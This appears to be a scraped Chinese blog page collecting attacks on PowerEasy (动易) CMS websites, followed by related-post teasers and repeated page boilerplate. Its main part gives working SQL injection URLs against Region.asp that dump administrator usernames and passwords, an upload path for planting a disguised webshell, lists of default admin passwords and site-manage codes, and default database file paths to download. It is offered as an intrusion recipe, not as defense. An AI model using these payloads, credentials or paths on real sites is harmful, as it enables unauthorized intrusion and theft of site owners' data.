动易html在线编辑器漏洞,动易网站漏洞总结

动易漏洞总结

方法1：

注册用户 keio.asAhttp://xtfhzx.com/reg/user_reg.asp

上传jpg马http://www.URL.com/user/Upload.asp?dialogtype=UserBlogPic&size=5

方法2：

先暴所有管理员帐号。/Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+username+from+PE_Admin+where+1<2+and+'1'='1<>

暴管理员密码http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+password+from+PE_Admin+where+username="admin"+and+'1'='1

用记事本打开网站这个目录下的文件：\config\SiteOption.config ，找到下面的代码处，修改红色标识的代码即可：

8888

2、对于SiteWeaver 版本，请用记事本打开网站根目录下的文件：config.asp，找到下面的代码处，修改红色标识的代码即可：

Const SiteManageCode = "PowerEasy2008"

常用账号和密码：

admin

admin888

'or'='or'

8888

2007

2008

2006

SiteManageCode8888/SiteManageCode

PowerEasy2006

PowerEasy2007

PowerEasy2008

数据库目录路径：

database/PowerEasy2006.mdb

database/PowerEasy2007.mdb

database/PowerEasy2008.mdb

database/SiteWeaver6.5.mdb

database/SiteWeaver.mdb

动易html在线编辑器漏洞,动易网站漏洞总结相关推荐

动易html在线编辑器漏洞,动易系统解决IE8网站后台编辑器无效问题
微软的IE8正式版已于2009年3月20日正式发布了,也有不少的动易用户升级了自己的浏览器,但在升级后都发现动易的后台编辑器无法使用了,症状就是点击任何功能图标都没有弹出设置窗口,经过搜索了一下,终于 ...
动易html在线编辑器漏洞,动易网站管理系统vote.asp页面存在SQL注入漏洞
动易网站管理系统vote.asp页面存在SQL注入漏洞测试系统: 动易(PowerEasy CMS SP6 071030以下版本) 安全综述: 动易网站管理系统是一个采用 ASP 和 MSSQL 等 ...
动易html在线编辑器漏洞,动易上传漏洞1小时狂拿50个WEBSHELL
动易上传漏洞1小时狂拿50个WEBSHELL 风云 QQ:325013287 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ...
动易html在线编辑器漏洞,动易NewComment.asp注入漏洞
在NewComment.asp文件中 ModuleName = Trim(request(\"ModuleName\")) 这个ModuleName变量没过滤好,从而导致,我们可以 ...
网站安全检测之用户密码找回网站漏洞的安全分析与利用
我们SINE安全在对网站,以及APP端进行网站安全检测的时候发现很多公司网站以及业务平台,APP存在着一些逻辑上的网站漏洞,有些简简单单的短信验证码可能就会给整个网站带来很大的经济损失,很简单的网站功 ...
美信监控易助力大中型企业实现机房动环一体化监控
美信监控易助力大中型企业实现机房动环一体化监控在当前"数字中国.智慧中国"浪潮的推动下,全国各地智慧城市建设迈上新台阶.可以说,数字经济正在成为引领中国高质量发展的一个新引擎.因 ...
易想团购注入 user.php,易想团购系统通杀SQL注入漏洞分析及利用漏洞预警 -电脑资料...
刚打开红黑看到J8基友写的一个{易想团购系统最新版通杀}的文章,看他贴的代码里面有个get_client_ip()函数,哈哈,我猜没过滤,果断下了一套程序, 找到get_client_ip()函数 ...
H5类似易企秀/编辑器/页面制作/开发/生成工具/软件/源码/授权
代码地址如下: http://www.demodashi.com/demo/14960.html 项目简介 H5DS (HTML5 Design software) 这是一款基于WEB的 H5制作工具 ...
java在线支付---09,10,11,12_在线支付_分析易宝支付网关的应答协议与处理代码,完成用于处理支付响应的Servlet的初步编写和调试,完成处理支付网关响应结果的Servlet,支付实现
09_在线支付_分析易宝支付网关的应答协议与处理代码创梦综合技术qq交流群:CreDream:251572072 对支付结果返回的数据加密生成md5-hmac public static boole ...
乂学栗浩洋：教育版AlphaGo打破垄断，撬动2000亿在线教育市场
栗浩洋:很高兴能够在新智元的平台和大家交流AI+教育这个话题.AI现在基本是被图像识别和NLP垄断,但在2014年我们开始做这一行的时候,不但人工智能没有火,很多人还对我们提出了很大的质疑:人工智能是 ...

动易html在线编辑器漏洞,动易网站漏洞总结

动易html在线编辑器漏洞,动易网站漏洞总结相关推荐

最新文章

热门文章

动易html在线编辑器 漏洞,动易网站漏洞总结

动易html在线编辑器 漏洞,动易网站漏洞总结相关推荐

最新文章

热门文章

动易html在线编辑器漏洞,动易网站漏洞总结

动易html在线编辑器漏洞,动易网站漏洞总结相关推荐